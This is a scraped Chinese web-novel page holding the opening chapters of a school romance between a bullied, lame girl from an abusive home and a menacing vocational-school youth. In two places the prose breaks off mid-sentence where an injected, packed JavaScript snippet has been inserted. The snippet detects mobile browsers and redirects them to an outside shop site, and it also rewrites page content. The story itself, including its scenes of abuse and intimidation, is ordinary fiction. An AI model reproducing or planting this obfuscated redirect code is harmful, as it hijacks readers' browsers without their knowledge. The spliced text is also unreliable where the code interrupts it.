《淤青与黑百合》 1. 淤青 《淤青与黑百合》池盎/文 2025.2.8 - 夏汀几乎是一步也没有停。 她顺着狭长的小巷往前走,一直走到最尽头,七拐八拐,终于拐进一幢破旧的老式居民楼。 十月底的黄昏,刚落过一场大雨。 空气黏稠得甚至能拧出水。 淋了一路的雨回来,头发早就湿透了,湿哒哒地贴在她头皮上。雨水顺着她苍白小巧的下颏,正连绵不绝地往下淌水。 她的伞又丢了。 这已经是这个学期莫名丢掉的第四把伞。 找到伞的时候,伞已经坏了,上面薄薄的一层雨伞布被人用剪子剪得稀碎,只剩下光秃秃的金属伞柄,不知被谁随手丢在学校厕所的废纸篓里。 淡蓝色的格子布在一堆用过的废纸和沾满经血的卫生巾中格外刺眼。 她抿唇看了很久。 没有伞,就只能冒雨回家。 她提起被雨打湿的裤腿,沿着高矮不平的水泥楼梯,一瘸一拐地往上走。 她左腿受过伤,有些跛,走起路来本就慢,更别说上楼梯了。 一直费劲地走到第四层。她家就在上了四楼后左拐的第四间房。 门牌号404。一个看起来和听起来都不太吉利的数字。 她却切切实实地在这里生活了十八年。 生锈的防盗锁扣早就斑驳,楼道的灯泡坏了很久都没人修,整个楼道一片黑灯瞎火。 夏汀低头掰着锁眼,光线太暗,什么也看不清,只能用手指在锁扣上一遍一遍来回地摸,试图找到锁眼。 费力开了很久。 直到“啪嗒”一声,锁开了。 她扶门推进去。 房间里没开灯,一片黑。 她刚想开灯,一只臭气熏天的鞋子忽然从黑暗里飞出来,重重砸在她的左脸上。 夏汀被砸了个正着,脸上瞬间烧起火辣辣的一阵疼。 “还知道回来?你老子都快饿死了知不知道??!” 黑暗的房间里涌出一股酸臭发酵的酒味。与此同时,男人低俗的语言不由分说粗暴地猛灌进她耳朵里,闹出不小的动静来。 夏汀站在房门口,脸上火辣辣地刺痛。 她没想到夏冬明居然会在家。 一般这个点,家里都是没人的。夏冬明总要在外面鬼混到半夜,才会在凌晨三四点,带着一身浓重的烟酒味敲响回家的门。 隔壁对楼的楼道里听见动静,飞速亮起一盏又一盏看热闹的灯。 有几个人影聚在窗户边,适时地收看每天的现场直播。这可比电视机上的狗血肥皂剧要有意思的多。 小县城就是这样,哪怕一点风吹草动、鸡飞蛋打,都能在顷刻间引起轩然大波。 旁人的家长里短算是这些好看热闹者贫瘠生活里为数不多的消遣。 夏汀后知后觉捂住发烫的脸,费劲地抬起头。 借着隔壁楼道亮起的微弱灯光,她看见黑暗里坐着一个胖而矮的影子。 视线有些模糊,她揉了揉眼。揉了好几遍,才终于看清夏东明跌坐在沙发上,手边还拄着几个空酒瓶。显然又喝醉了。 脸上被砸过的地方火辣辣地烧。耳朵里面也嗡嗡在响,尖锐的刺痛一阵接着一阵,在脑海里翻涌,刺痛每一根神经末梢。 已经数不清是第几次耳鸣了。 夏汀被扇得差点站不住,耳鸣尖锐,脑袋里似乎有什么东西在翻江倒海,只觉得满世界都在天旋地转。 强烈的恶心感瞬间包裹住她,她猛地很想吐,便奋不顾身地冲进卫生间。 “跑什么跑!死丫头!” 夏冬明醉醺醺的,俨然一副还没醒酒的态势。他嘴里嘟囔着,原打算起身揪住这死丫头,可醉酒后的肢体软绵绵的,他一起身就从沙发上狼狈地摔了下去。 他骂骂咧咧,朝卫生间又砸过去一只空酒瓶子。 夏汀下意识反锁了卫生间的门。 好在她门关得及时,否则那只空酒瓶下一秒就会精准无误地砸在她的脑门上。 卫生间浸在一片潮湿发霉的黑黢黢里。强烈的恶心感翻江倒海,夏汀来不及开灯就扶着盥洗台干呕了起来。 肚子里本来就没什么东西,她扶着洗手台干呕了半天,眼眶都红了,最后只吐出一点淡绿色的胆汁。 冷汗一阵一阵往上冒。 心口处又闷又冷又紧。 整个人都快要虚脱了。夏汀虚弱地快要站不住,但还是强撑着,凭借着最后的力气拧开厕所里的灯。 灯泡闪了好几下才终于跳亮。 钨丝灯芯上钨蒸汽凝结,黏满整个灯泡壳,以至于散发出来的灯光又黑又暗,微弱得可怜。 窄小的卫生间里臭气熏天,马桶上黄澄澄的尿渍更是溅得到处都是。 夏冬明总是这样,上完厕所从来都懒得冲。 夏汀强忍着恶心把脏兮兮的秽物冲下去,然后拧开水龙头冲手。 镜子里,她苍白的脸上还有一个巨大的红印。鞋印一比一地复刻在她脸上,微微肿了起来。 她知道,用不了几天,这些红印就都会变作淤青。 跟她身上的那些淤青一样。 水流哗啦啦响,又冰又凉,漫过她同样也没什么温度的手背。 眩晕感稍微好了些,眼角却不知什么时候淌下几滴眼泪,把视线又模糊了。 “赶紧给我滚出来!老子饿了!你听到了吗?滚出来!” 单薄的破木门被用力地踢踹,发出震耳欲聋的声响。 借着昏沉的酒意,夏冬明把今天又赌输一大笔钱的怒气全撒在这可怜的木门上。 夏汀下意识往后退,木门被踢踹地震天响。 她心惊肉跳地看着那木门,像是害怕下一秒它就要散架似的,然后夏冬明就会趁势冲进来,揪住她的头发,使劲地往墙上撞。 就像从前魏春雪还活着的时候,他对魏春雪做的那样。 魏春雪就是夏汀的母亲。 她死得很早,再加上夏冬明不允许家里出现和她相关的任何物件,哪怕是遗照。所以夏汀其实对她具体长什么样子已经记不清了。 只记得每次夏冬明赌输钱,心情不好拿她出气的时候,她撕心裂肺的哭喊。 …… 不知过了多久,木门外的踢踏声消了下来。 随之响起沉闷的鼾声。 夏冬明喝醉酒以后,除了脾气会变得更加暴躁以外,还会变得更加渴睡。 胸腔中,心脏焦躁不已地狂跳。 夏汀看着生锈的门把手,思想斗争了很久。最后才鼓起勇气,将手搭上门把。 木门被一点一点打开。 卫生间内昏暗浑浊的灯光从她身后洒落。在她面前的地面上亮起一小块区域。她的影子也随之被投落在地,单薄而纤细。 夏冬明还是躺在那张劣质的皮革沙发上。这沙发年岁已久,有好几处都已经破了皮,露出里面肮脏的旧絮。夏冬明就躺在这上面,睡得很熟,鼾声如雷。 夏汀垂下眼睫,默默走到他身侧,轻手轻脚地把他吐了一地的秽物以及打碎的玻璃瓶残渣都收拾掉,装进垃圾袋里。 她左腿残疾,没办法保持长时间的蹲姿,就只能半跪在地上收拾。 冰冷的地板硌得膝盖生疼。 整个过程中她都压低着音量,怕惊醒夏冬明。 她闷不作声地处理着玻璃渣,头顶夏冬明熟睡的喊声如同磨人的刀锯,来回切割她的神经。脑海里忽然冷不丁闪过“父亲”一词。 这个词对于她来说一直都很陌生。 脖子有些酸痛,她仰起头,骨节发出轻微的声响。她忽地收紧整颗心。 所幸夏冬明睡得很死,这点声响根本不足以吵醒他。 夏汀仰着脸,看向躺在沙发上的夏冬明。 这个鼾声如雷、不讲卫生、喜怒永远无常的男人,就是她的父亲。 这个鼾声如雷、不讲卫生、喜怒永远无常的男人,居然……会是她的父亲。 她看着他,一时间,不真实感和割裂感席卷而来,溢满她心间。 ——她实在是没有办法,把眼前这个男人,跟“父亲”这样一个词联系在一起。 …… 沉默地收拾完秽物和碎玻璃渣,夏汀缓慢直起身子。 膝盖因为跪得太久而有些发酸。 肚子发出咕咕的叫声。 她拎起满袋子的垃圾准备下楼倒掉,想着顺便再用身上所剩不多的钱买点食物充饥。 刚一打开门,一记尖锐的女声就突兀地撞进她耳朵里—— “有本事踏出这个门就别回来!鸠占鹊巢就算了,还一天到晚惹是生非,没教养的贱胚子!我呸!” 音调高昂又尖锐,话里话外都带着刺。 “贱种!真是贱种!哎呀我真是造了什么孽,我家那口子也是闲得慌,非得把你这么一个麻烦带回家!” 夏汀和上门的时候,心头紧了紧。 这音色她很熟悉,是跟她住在同一层的丁兰。 丁兰人过中年,烫一头波浪小卷,唇色红艳。她老公常年不在家,自己又爱打麻将,一来二去的,就开了家麻将馆,生意不好也不算坏,勉勉强强能度日。 夏汀爸爸夏冬明就是这家麻将馆的常客。 好几次她爸欠了债还不上,丁姨还会主动上门来催。 夏汀其实挺怕这个风风火火的中年女人的。 她长着一张狭长的驴脸,有点龅牙,抿唇看着你笑的时候,脸上的劣质粉底液总会开裂,透着股精明的算计意味。 这人嗓门也大,哪怕声音隔着老远,仍然穿透力十足。 夏汀拎着塑料袋站在门前,有些迟钝地转过身。 转过身的一瞬间,忽有一道身影擦着她而过。 那人步子大,走得又急又快,带着少年人独有的张扬,像压根没注意到她似的。她来不及躲避,被他年轻有力的手肘轻撞了一下,手里提着的垃圾袋拉环猛地断裂,碎玻璃渣砸在地上,秽物顺着破裂的袋口流出来,淌了一地。 裤脚上也不幸沾了些发酵的秽物。 肮脏的秽物黏在裤脚上,很快便蔓延开来,在白皙的裤腿上变作咖色的一大块。 心中闪过一阵气愤,她立刻抬起头寻找刚才那道身影。 天色近晚,昏暗的楼道里灯光晦涩不明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481655|201778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她站在堆满杂物的狭窄楼道里,那道瘦高挺拔的身影正擦过她的身边往前走过去。 淡淡的雪松气息涌入鼻息。 那人逆着光,轮廓被光影切割得细碎而凛冽。黑色连帽卫衣帽檐压得很低,晦涩的光线折射出朦胧又黯淡的光影,看不清他的脸,但却可以感知到他浑身上下,都透着股玩世不恭的混劲儿。 他步幅很大,走得极快,似是不耐,压着隐忍的火气。在夏汀反应过来之前,他就消失在了楼梯转角处。 宛若一道苍劲的疾风。 疾风过后,只剩下楼道里几抹昏暗的余光还在阴晴不定地闪烁。 夏汀张嘴刚想叫住他,却忽地觉得这个背影有些熟悉。 思索片刻,才惊恐地想起,自己不久前好像见过他。 时隔多日,熟悉的恐惧感又重回她心间。 她看着闪烁不定的余光,嘴唇开裂得厉害,这人行色不善,无疑是个她惹不起的大麻烦。 最终她选择了闭嘴,没有出声叫住他。 裤腿的污渍散发的臭味直冲天灵盖。 她皱眉,狼狈地蹲下去用纸巾擦。 “哟,夏汀啊,蹲在这干什么呢?” 尖锐的女声切换成另一种柔和的音调,带着几分虚情假意的关心。 怎么听都感觉很违和。 夏汀心中腾起一阵不好的预感。 她僵硬着身子站起来,就看见丁兰不知什么时候已经走到了她面前,脸上挂着同样虚假的笑意。 “你爸酒醒了没啊?” 夏汀没说话,警惕地盯着她看。 “你也得劝劝你爸,都快五十的人了,少喝点酒,”丁兰抬手捋了捋额前的一缕小碎发,不经意间露出浑圆手臂上的细金手链,故作自然地提点道,“这酒喝多了,记性差。” 她看着夏汀,上扬的音调忽然切转,爽朗地笑道:“你看看你爸,贵人多忘事哦,这不,前几天欠的钱,都给忘了。”说完,还伸手摊了摊。 夏汀脸上浮现一阵尴尬的神情。明白丁兰这是催债来了。 虽然这种情形夏汀早就遇见过不止一次。可是可怜的自尊心总还是会汹涌翻腾。让她深感难堪。 她张了张开裂的嘴,哑着声音小声说:“嗯,知道了。” “行,好孩子,回头你给你爸念叨念叨,别给忘了,阿姨手头也不宽裕,你是知道的,都是小本生意,”丁兰边说边适时地叹了口气,转念想到什么,恨恨道,“再说了,阿姨家还养着个吃白饭的,我家那口子也是个拎不清的,哎,你都不知道阿姨每天有多愁!” 夏汀默不作声地听着,脑海里闪过刚刚那道擦肩而过的身影。 丁姨说的那个吃白饭的家伙,应该就是他了。 这人看起来很不好惹。 因为就在不久前,她不小心撞破他打架的事情,还被他恶狠狠地警告过。 手指下意识绞在了一起。 丁兰性子热络爱聊,好不容易找到个没脾气的,便拉着夏汀絮叨了好一会儿,把各种家长里短、心酸苦水都倒尽,最后才舍得放她走。 这时候裤腿上的污渍已经干了,微微发硬。 夏汀什么也没说,只是小心翼翼地捡起那个破了的垃圾袋。 丁兰摇身回了家,把门一闭。铁门“咚”地一声闭合,发出轰隆的声响。 楼道里的灯被震得来回闪,一瞬间忽闪忽闪的,地上的阴影也变得深一块浅一块。 夏汀跛着脚下楼。 她那条跛脚很碍事,走起路来不方便,又怕磕着摔着,她只能伸手扶着生锈的铁扶手,每一步都走得很慢。 折腾半天,终于下了楼,夏汀转到幢楼后面的垃圾处理站,举起胳膊把垃圾丢进去。 楼下的街灯散发着温馨的微光。风拂过来是潮湿的,空气中飘着密密斜斜的雨丝。下过雨后的地面也是潮湿的,在街灯的映照下,路面上星星点点的小水洼似乎也在发光。 夏汀循着微光,小心翼翼避开水洼。影子在灯光下,被拉成细细窄窄的一条。 她跛着脚走在潮湿的小路上。 直到她的影子碰到另一道静默又瘦长的影子。 她忽地抬起头。 旧居民楼房鳞次栉比,细雨斜斜地飘着。 程青野单手插兜,懒散地倚着街灯的柱身。黑色连帽卫衣压得很低,起雾的眸子里却写着几分不耐。 细碎的头发向下刺着他冷峻的眉眼,整个人都浸在冷气压里。 他目光偏过来,不经意间滑过夏汀。 没什么情绪的眸子在看见夏汀的那一瞬间,忽然闪过一丝意外。 没想到会在这里碰见这个小瘸子。 夏汀也发现他了。 她急促地收回目光,想要假装没看见他。 见状,程青野勾了勾唇,朝她走过来。 他身量很高,路灯把他的影子拉得极长。 夏汀比他矮一个头,被他的影子笼得严严实实。不安感也瞬间将她笼罩,她不由自主往后退了退,目光警惕地盯着他。 “小瘸子,”程青野看着她局促不安的样子,喉间滑出一声低笑,过了半晌,他才继续说道,“你挺能耐啊。” 2. 淤青 “跟谁学的,”程青野收敛了笑意,大步落拓朝她走过来,五官轮廓在黑夜里却显得格外锋利,“明明答应得挺好,” 他支起眸子,目光一点一点落在夏汀身上,缓缓说道,“转头就告状啊。” 细雨在街灯的折射下,散逸出朦胧的光晕。 程青野高大的影子落在夏汀身上,气压骤降。 他声音不轻不重,在夜晚潮湿的风里有些低沉。 自带一股凛冽又危险的气息。 ……什么,告状? 夏汀被这突如起来的两个字眼击中,一时有些迷茫。 她向来不喜欢多管闲事,更别提眼前这人看起来就十分危险,绝不是她能招惹得起的。 她不知道程青野是是怎么会把她和“告状”二字扯上联系的。 夏汀仰起脸。 街灯下,程青野年轻的面孔一半隐匿在光线的暗处,危险而凛冽。 她压抑着内心的不安,故作镇定地看向他,冷静道:“你应该是搞错了,我没有告过任何状。” 她顿了顿,才发现自己的声线抖得厉害,仿佛刚刚脱口而出这句话的并不是她自己。 饶是这样,她还是倔强着,一字一顿道:“更没有说过任何关于你的话题。” 闻言,程青野忽然笑了。 一声很轻的笑被吹散在潮湿的风里。带着十七八岁少年最干净的澄澈与轻狂。 他嘴角敛起一抹弧度,明明是笑着的,却没有任何温度。 就在夏汀以为他暂时卸下防备时,程青野却忽然压近,一把紧攥住她的手腕往上压。 手腕处因为过于用力而传来剧痛。夏汀眉心痛苦地紧蹙在一起:“你要干什么,放开我!” 听到这句话,程青野心底压了很久的烦躁又重新冒上来。他握着她的手臂逼着她倒退,就势将她按在身后的墙上。 剧烈的撞击让斑驳的墙壁瞬间掉下一大块墙皮。 后脑传来一阵剧烈的疼痛,夏汀大脑一片空白,整个人都被砸的发懵,连同脸上的红肿都密密麻麻地刺痛起来。 心脏抑制不住地狂跳。 眼前的这个人眉眼锐利,带着不可一世的倨傲。 “我早说过,”程青野狠厉道,“少管闲事。” 细雨落在夏汀苍白的脸上,手臂上的力度不减反增,她感觉自己的手腕快断了。 这不是夏汀第一次见程青野这副狠厉的样子。 大概一个星期以前,她就撞见过他。 …… 第一次遇见程青野,是在一个起风的阴天。 那天天色很阴,满世界都是灰蒙蒙的,像是快要下雨的前兆。 天气预报说,接下来这几日都会有强降雨。 夏汀背着洗得发白的书包走在放学回家的路上。 她个子不算高,左脚受过伤,走起路来一跛一跛,远远看过去,又慢又不雅观。 她慢吞吞地转进一条小巷。 小巷里天光寂寂,违规建筑林立,四处遮挡,这就导致能漏进这条小巷的光线少得可怜。 夏汀低着头,一张白皙的脸明明精致小巧,却眉头微蹙,挂满不太讨喜的忧愁。 她不是很喜欢下雨天。 因为每逢这样潮湿的天气,她的膝盖要是受了潮,就会开始隐隐作痛。 那是一种从骨头缝隙中传出的疼痛,又细密又难忍,像是深夜里的牙髓神经疼,折磨得很。 所以夏汀潜意识里很害怕下雨天。 因此,她的书包里常年都会备一把雨伞。 只是今天放学的时候,那柄伞偏巧又不见了。 她一个人闷头找了很久,最后才在臭烘烘的垃圾桶里,找到了自己被折断的伞。 这时她这个学期来,丢的第三把伞。 自从复读转进新班级以来,每隔几天都会有一些恶心的事情接二连三发生在她身上。 恶意突如其来,如同潮水一样淹没她。 同学们都很排斥她。 只因为她是个不讨喜的、寡言内向的跛子。 她永远是个被排斥在小群体之外的零余人。 从小到大,都是如此。 很小的时候,她也会难过,她不明白为什么要因为她是个瘸子,就要承受这些莫名其妙的恶意,她会一遍一遍地反驳、反抗。 而现在,她只是看了眼那柄被折断伞骨的伞,什么也没说。 因为她知道,说了又有什么用呢? 反正也没有人会听。 她早就麻木了。 这条小巷是她放学回家的必经之路。 她的腿是小时候落下的病根,本来治疗及时的话,按理说是会好起来的。只是夏冬明那时候沉迷麻将牌局,一直拖着没带她去治。 拖到现在,已经越来越严重。 夏汀走不快,只能一瘸一拐地挪动着脚步,盼着能在下雨前赶回家。不然淋了雨,腿又要疼上好几天。 一颗雨砸在她面前的泥地上,瞬间湮开一块深色。 完蛋,下雨了。 夏汀心下一紧,正准备摘下书包挡头,一道狠狠的咒骂声忽然撞进她耳朵。 ——“程青野,我操你大爷,你有种就给老子等着!” 鼓膜震痛,这道突如其来的粗暴狠厉的警告声让她吓了一跳。 一颗心砰砰乱跳。 她下意识不安地抬起头。 小巷里光线暗淡,远远看过去,只能勉强看见地上居然横七竖八歪躺着几个痞里痞气的少年。 夏汀看着那几个浑身写满不良气息的少年,察觉到一阵不善的信号。 雨点越砸越大,砸在她白皙手背上。生生的疼。 地面上深色的雨痕也越来越大。潮湿的灰尘气息随之被溅起来,呛鼻地扑上脸,很不好闻。 巷子里天色阴沉,最后一道疏漏的天光缓缓向前游移,如同一个越聚越小的光点,降落在那几个躺在地上痛苦哀嚎的少年面前。 她目光追随着那个光点往前看,这才发现,在那堆歪七扭八倒在地上的小痞子面前,居然还站着个少年。 他逆着光站立,高而瘦,穿了身白底黑领的简单校服。 领子有一角随意地立着,两袖的袖子都被撸到了肩膀上,露出劲瘦有力的手臂肌肉线条。 校服外套懒散地打了个结,系在窄腰间。透着股玩世不恭的混劲儿。 听见那道咒骂声,他扯唇轻蔑地笑了下。 “行啊,我等着。” 声线冷冽又轻狂。 “……你、你、你!”刚刚发出咒骂的男生痛得龇牙咧嘴。 见程青野态度如此嚣张,他不免气急,却又一时间想不到更有力的反驳,只能“你你你”地结巴了半天。 他“嘶嘶”地倒抽一口凉气,过了好一会儿才放出另一句狠话,“程青野,你真以为你是什么好东西吗?” 毫无杀伤力的一句话。 程青野压根没放在心上。 “我是不是好东西暂且不论,”他半含笑,眼神居高临下,不屑打量,缓缓道,“但是躺着的人,绝对没资格定义我。” 那声音近在咫尺,写满年少轻狂。 夏汀听见他们的对话,心里很明白这不是她该出现的场合。 她怕惹祸上身,立马转过身往回走。 可她刚抬起那条跛脚,就听见身后传来一声冷冰冰的“站住”。 冷冽的声线撞进她耳朵。混杂着不安和害怕,心脏在这一刻猛烈加速,跳到了最快。 一霎时,她紧张到头脑空白。只感觉自己整颗心脏都在狂跳,几乎要跳出胸腔。 她并不想惹祸上身。 只迟疑了几秒钟,她就很快做出选择,想要装作没听见继续往前走,试 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481656|201778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 图以此蒙混过关。 可偏偏她那条不争气的跛腿跑不了太快。往前迈的每一步都显得格外蠢笨。 “跑什么,小瘸子。” 那声音不紧不慢,恍若落在她耳畔。 与此同时,话音刚落的下一秒,夏汀猛然察觉到自己身后传来一道力量。 ——有人伸手扯住了她的书包。 她瞬间被牵制住,再动不了一步。 淡淡的冷雪松擦入她的鼻息。 她下意识转过头,对上了程青野挺括胸膛上的校服。 校服因为打架沾了灰。左上角还印着枚校徽。 夏汀认得,这是隔壁职校的校服。 职校在她的印象里,总是跟不学无术的小混混挂钩在一起。 眼前的人想来也绝非善类。 意识到了什么,她慌忙低下了头,把脸藏得很低。 怕对方记住她的脸,以此招致报复。 程青野收敛了刚才的笑意,整个人冷下来,以命令的口吻,硬硬道:“抬头。” 职校总是会有那么几个领头的小混混,在他们的世界里,打架闹事都是家常便饭,根本没在怕的。 听他出言不逊的口吻,危险和不安瞬间裹上夏汀的心间。 她几乎是想也没想,就把他归到了那一类人中。 如果惹上这些人,那麻烦就大了。 膝盖偏在这个紧要关头开始隐隐作痛,她低低蹙着眉,心里却在盘算着该怎么脱身。 “不想说第二遍。” 见她一直低着头,程青野重复道,显然失去了耐心。 夏汀抿了抿唇,像是在心里纠结了很久,最终,她还是选择胆怯地、一点点抬起了头。 天光疏漏,小巷子里下着雨,她小心翼翼地抬起头,看见程青野逆光而立,正单手扯着她书包,眼神有点冷。 他黑发被雨打湿,五官英挺,是很有攻击性的长相,嘴角带着一小块淤青,血迹印出来,随性又冷戾。 他睨了她一眼,看见她校服上的徽,脱口而出了句,“一中的?” 然后又问:“哪个班的?” 嘴唇干涩到开裂,夏汀咽下一口口水。 只看了他一眼,她就又紧张地低下目光,用轻到快要听不见的声音回答:“一……” 她顿了顿,忽然又转圜了语气,“七班的。” 夏汀不太习惯说谎。但在这个时刻,不用说她也知道,自己是绝对不能告诉他真话的。 不然引火上身,后患无穷。 程青野看了她一眼,心中了然,松手把她丢开。 也不知是信了还是没信。 夏汀趔趄地向后退了两步,如释重负般喘了口气,冰冷的空气灌进胸腔,肺部突然一阵冰凉。她喘了口气后,就跛着脚想逃。 “小瘸子。” 程青野忽然又出声把她叫住。 听到这个称呼,夏汀用力攥紧书包。膝盖处接连不断传来的细密疼痛让她无可奈何地闭了闭眼。 生理的疼痛和心理的屈辱纵横交错,不断鞭笞着她。一遍又一遍。 其实从小到大,已经不知道有多少人这样叫过她了。 他们说的不错,她确实是个瘸子。 她本以为自己早就该习惯了的。 可是不知道为什么,就算这样,但每一次听到自己被人这样称呼,她都会忍不住心脏发酸。 手指不由自主地攥紧,指甲深深陷进肉里。 大雨很快倾盆而至,把她的睫毛沾湿。 她苍白的脸上充斥着痛苦和胆怯。 “今天的事,你最好烂在心里。” 程青野懒散地掀起眼眸扫过她,眼底没什么情绪。 冷冽的音色却浸在绵密的雨声里。 他慢慢抬起眼睛,盯住她,一字一顿地警告: “敢说出去试试。” 3. 淤青 他说这话时不紧不慢,语调也格外散漫,却噙满了不容置喙的警告意味。 那双好看又锋利的眼睛和她对上,令人忍不住心跳加速。 夏汀几乎是下意识否认。她奋力摇摇头,嘴唇因为过度紧张而咬出了一点血色,立刻回道:“我、我不会说的。” 话音刚落,只见程青野俯身,弯腰凑近了些。 在他弯腰的一瞬间,凛冽的薄荷混杂着雪松的味道瞬间充溢过来,像是冷雪般冰冷。 夏汀猝不及防。 程青野的面庞就在她眼前。 不知是因为紧张,还是慌乱,她脸颊竟然开始发烫,顺带着耳根也烧起来。 程青野勾了勾唇角,半是戏谑地靠近她耳边,说道:“小矮子,你讲话好轻,我听不见。” 声音压得很轻,像在故意捉弄她。 他身上浅淡的冷薄荷香气持续逼近,一直向她压过来。 雨点把他张扬细碎的黑发打得有点湿,浑身上下都透着股不羁又不好惹的劲儿。 夏汀心脏发慌,觉得自己心跳得好厉害。 她忍不住往后又退了两步,以此拉开和他的距离。 站稳后,她又强调了一遍,说道:“你放心,我不会说出去的。” 她尽量克制着冷静,以此让自己声线保持平稳。可声音明明抖的好厉害。 程青野站在她面前,高高的影子落在她身上。 雨一点一点下大了。 他那双好看的眼睛睫毛被雨打湿,看起来异常危险。 夏汀抿唇,冷静地试探问:“所以,我可以,走了吗?” 程青野笑了下,喉结轻轻滚动,“行啊。” 爽朗的少年音色。 夏汀没想到他会答应的这么爽快。心里还是存疑。她没再抬头看他,静默在他面前,心里盘算着该怎么办。 见夏汀还杵在自己面前,程青野有几分好笑。明明这小矮子怕得要死,眼前放她走了,怎么又不乐意了。 “怎么?舍不得走?” 清冽的嗓音随着大雨飘落,慵懒又暧昧,磨人得很。 就像一只顽劣的猫,逮住耗子后总是会使劲捉弄,以此来满足自己的恶趣味似的。 夏汀却没觉得好玩。一阵屈辱感如同乌云般,堆积在心头。 她没吭声,拐着那条跛腿,一瘸一拐,倔强地转过身。 雨点无情地打落,她那件单薄的校服大部分都湿透了,薄薄地贴在她身上。 膝盖很疼,分不清到底是屈辱感在蚕食她可怜的自尊时留下的阵痛,还是真的生理上的疼痛。 只觉得自己每走一步,都像赤脚踩在刀尖上一样疼。 狭长的小道天光疏漏,她低着头,一瘸一拐地走。 从余光里,她恰好可以瞥见那些被程青野打趴在地上的小混混。 他们各个瘫在地上,脸色都个赛个的难看。疼痛让他们面目扭曲,但每张扭曲的脸上却又写满相同的不甘。 捕捉到夏汀窥探的目光,其中有一个好面子的小痞子觉得脸上挂不住,立刻恶狠狠地回瞪过来。 夏汀心头一紧,差点摔倒。她收回目光,恨不能赶快跑走。 程青野单手插兜,清隽又少年气的眉眼沾了几分雨汽。 他缓缓直起身子,笑容敛去。低头扫了眼那躺在地上龇牙咧嘴的几个人,像看路边的流浪狗似的:“赶紧滚,下次别出现在我眼前。” …… 街灯忽闪忽闪,思绪戛然而止,夏汀从回忆中被拉回到现实。 她没想过自己会再遇到程青野。 少年居高临下,看向她的凛冽目光里浸满冰冷的愠怒。 夏汀被他抵在同样冰冷的墙面,手腕传来阵阵疼痛,胳膊却麻木了。 眼泪不知道什么时候已经淌了她满脸。 带有盐分的眼泪划过红肿的脸颊的时候,带来丝丝麻麻的刺痛。 夏汀眼含清泪,无助地仰头看着他。祈求他能放开她。 这根本就是一场无妄之灾。关于程青野的事情,她没有同任何人说过。 可程青野不会信。 昏昧的街灯下,雨丝斜斜。 黑色卫衣宽松,程青野锁骨处的淤青在暗处并不明显。 他看着哭泣的夏汀,一股烦闷之意忽然升至心间。 他挺烦女孩子哭的。 夏汀长长的眼睫被眼泪打湿,眼睛蒙上一层水雾。她倔强地看着他,但却一个字也没说出来。 程青野几不可地皱了下眉,烦闷地丢开她。 “……哭什么?” 声音没什么好气。 明明打架的事东窗事发以后,挨打的是他。 怎么这小瘸子反而先委屈起来了。 程青野有些郁闷。 夏汀手腕一阵发麻,她笨拙地捏了捏发胀的骨节。 细雨飘落,她低着头,后颈处白皙的皮肤裸露在程青野眼底。 她很瘦,骨头有些嶙峋。 程青野别过目光,伸手扯了下卫衣帽,正准备走。 忽然又想到什么,冷冷甩下一句:“不该管的事情少管,别惹火上身。” “我没有。”夏汀抬起头,一字一句坚定说,“我没有说过。” 手腕还在发麻。 没有做过的事情,她是绝对不会承认的。 她可以委曲求全,可以懦弱,可以退让。可是没做过就是没做过。 哪怕没人会相信,她也要说。 说完,她没再看程青野,一瘸一拐地走了。 雨丝在灯光下,像烫了金的丝线。 程青野没料到她会这么说。 他缓缓支起眸子,看向细雨中夏汀的背影。 她还是穿着第一次见面时候的校服。 细雨丝丝,她走在细雨里,背影很小,走起路来一瘸一拐,每一步都看上去走得倔强又不服输。 真挺倔的。 程青野看着她背影,冷冷嗤嘲了声:“傻子。” 说完,他忽又想起刚才在路灯下,她低头时露出的那一截白皙的后颈。 以及看向他时,苍白脸蛋上的泪痕。 心脏没来由一阵烦。 - 闹了这么一出以后,天色已经很晚了。 岚县是个没有夜生活的十八线小县城,再加上这几日连绵不断的雨,多数店面早就闭门了。 夏汀常去的那家附近的便利店也闭了门。街上买不到吃的,她只能抱着辘辘的饥肠回家。 家里的铁门是开的。 夏汀舒了口气,一般这种情况就是夏冬明又跑出去鬼混了。 夏冬明是个闲不住的闹性子,一年里,绝大部分时间都在外面鬼混,只有偶尔输的很惨的时候,才会回来躲债。 催债的有时候会上门讨债,他就把夏汀推出去挡枪。 夏汀进了房间,把门锁的很死。 简单洗漱后,她无力地瘫倒在自己窄窄的小床上。 小床靠窗,窗户上的玻璃碎了一角。刺喇喇的。 今晚没有月光。 潮热的风在夜晚变得凄凉,夹杂着雨丝漏进来。窗子底下的墙面有些发霉,长出潮绿色的斑点。 夏汀困乏至极,合上眼睛却睡不着。 窗户外有隐约的争吵声,透过破了一角的玻璃漏进来。 夏汀本无心窥听,无奈吵闹声却越演越烈。 “都看看几点了,阿塬还没回来!现在好了,你把阿塬打跑了!”愤怒的中年男声中夹杂着担忧。 “跑得好,不然他还要在这白吃白喝多久?李岩庆,你别忘了,阿宇才是你的亲儿子!你这胳膊肘往外拐的东西,你什么时候对我们星宇上过一点心!”质问的女声咄咄相逼,是丁兰。 “你!”李岩庆抬起手。 “你打啊!”丁兰怒目圆睁,“来,往我脸上打!李岩庆,我告诉你,你今天要不打死我,算你不是男人!” “……”男人皱眉压下了手,语气变得妥协,“一起去把阿塬找回来。” 